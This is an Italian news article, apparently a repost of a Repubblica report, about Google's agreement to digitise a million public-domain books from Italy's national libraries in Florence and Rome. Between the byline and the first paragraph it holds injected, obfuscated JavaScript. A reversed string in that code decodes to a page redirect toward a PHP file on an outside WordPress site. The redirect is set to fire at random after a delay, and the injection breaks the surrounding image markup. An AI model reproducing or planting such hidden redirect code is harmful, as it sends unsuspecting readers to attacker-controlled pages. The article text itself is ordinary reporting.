15 dicembre 2018

Un milione di libri. Dalla Biblioteca Nazionale al tuo computer, con un clic grazie a Google

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Da Dante a De Amicis i testi delle Biblioteche nazionali vanno on line. Accordo con Google per 1 milione di libri. Il colosso Usa si accollerà le spese e non avrà l’esclusiva

di Laura Montanari

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/03/duomolibri.jpg”>duomolibriUn milione di testi online, dalle stanze e dagli scaffali delle Biblioteche nazionali di Firenze e Roma al web, nei computer del mondo. Gratis e senza banner di pubblicità incollati alle pagine: tramite Google Books, si potranno consultare prime edizioni o edizioni critiche di capolavori della letteratura italiana, volumi scientifici del Sei-Settecento, testi popolari del Risorgimento: dalla Divina Commedia alla Gerusalemme liberata, dall´Ariosto alle Mie Prigioni, a Galileo, Keplero o alle prime traduzioni di grandi romanzi, come Madame Bovary e un lungo elenco di opere che saranno selezionate della stesse biblioteche.

E´ il primo accordo che Google sigla con un governo per portare in rete parte del patrimonio librario non coperto dal diritto d´autore, cioè fino al 1870. La trattativa col colosso americano è andata avanti per mesi: Google si accollerà le spese per tradurre i testi dalla carta al digitale e non avrà l´esclusiva. Capitolo quest´ultimo molto discusso. Una copia di ogni «web-libro» che andrà in rete resterà di proprietà della biblioteca che l´ha fornito con la possibilità di metterlo sul proprio sito (unico vincolo è di non cederlo a concorrenti del motore di ricerca americano). «E´ un accordo all´avanguardia» ha detto il ministro dei Beni Culturali Sandro Bondi citando Borges e il sogno della biblioteca universale, «un´utopia che diventa realtà».

Ci vorrà tempo, due anni per una prima catalogazione (parte era già in corso): «i soldi ce li metterà il ministero e sarà reclutato del personale esterno» spiega Ida Fontana della Biblioteca Nazionale di Firenze. Poi Google procederà a scannerizzare le opere creando uno o due centri specifici in Italia. Roma ha già dato la sua disponibilità, Firenze sta valutando: «Metteremo a disposizione dei lettori gratuitamente qualcosa come 200 milioni di pagine – prosegue la direttrice della Biblioteca fiorentina – è un impegno di circa 60 milioni di euro per Google. Costi che noi certo non ci potremmo permettere. Il governo francese ha investito 750milioni di euro, la Spagna 10 per digitalizzare i capolavori della letteratura, noi da anni non vediamo un centesimo».

Il responsabile di Google Nikesh Arora, presidente di Global Sales Operation & Businnes Development ha detto che «il web è ancora troppo anglosassone ed è giusto dare spazio ad altre culture». Quello di ieri è un´intesa che si aggiunge ad altre otto fatte con biblioteche di lingua non inglese. Terminato il lavoro con Firenze e Roma, l´accordo coinvolgerà le biblioteche statali di Venezia e Napoli. «Rendere i testi fruibili gratis in rete è importante – spiega Nicoletta Maraschio, dell´Accademia della Crusca – ma è altrettanto importante investire in un processo di digitalizzazione più raffinata e meno generalista per chi fa ricerca. Invece da due anni l´Accademia non riceve più fondi per questo capitolo».

Fonte Repubblica

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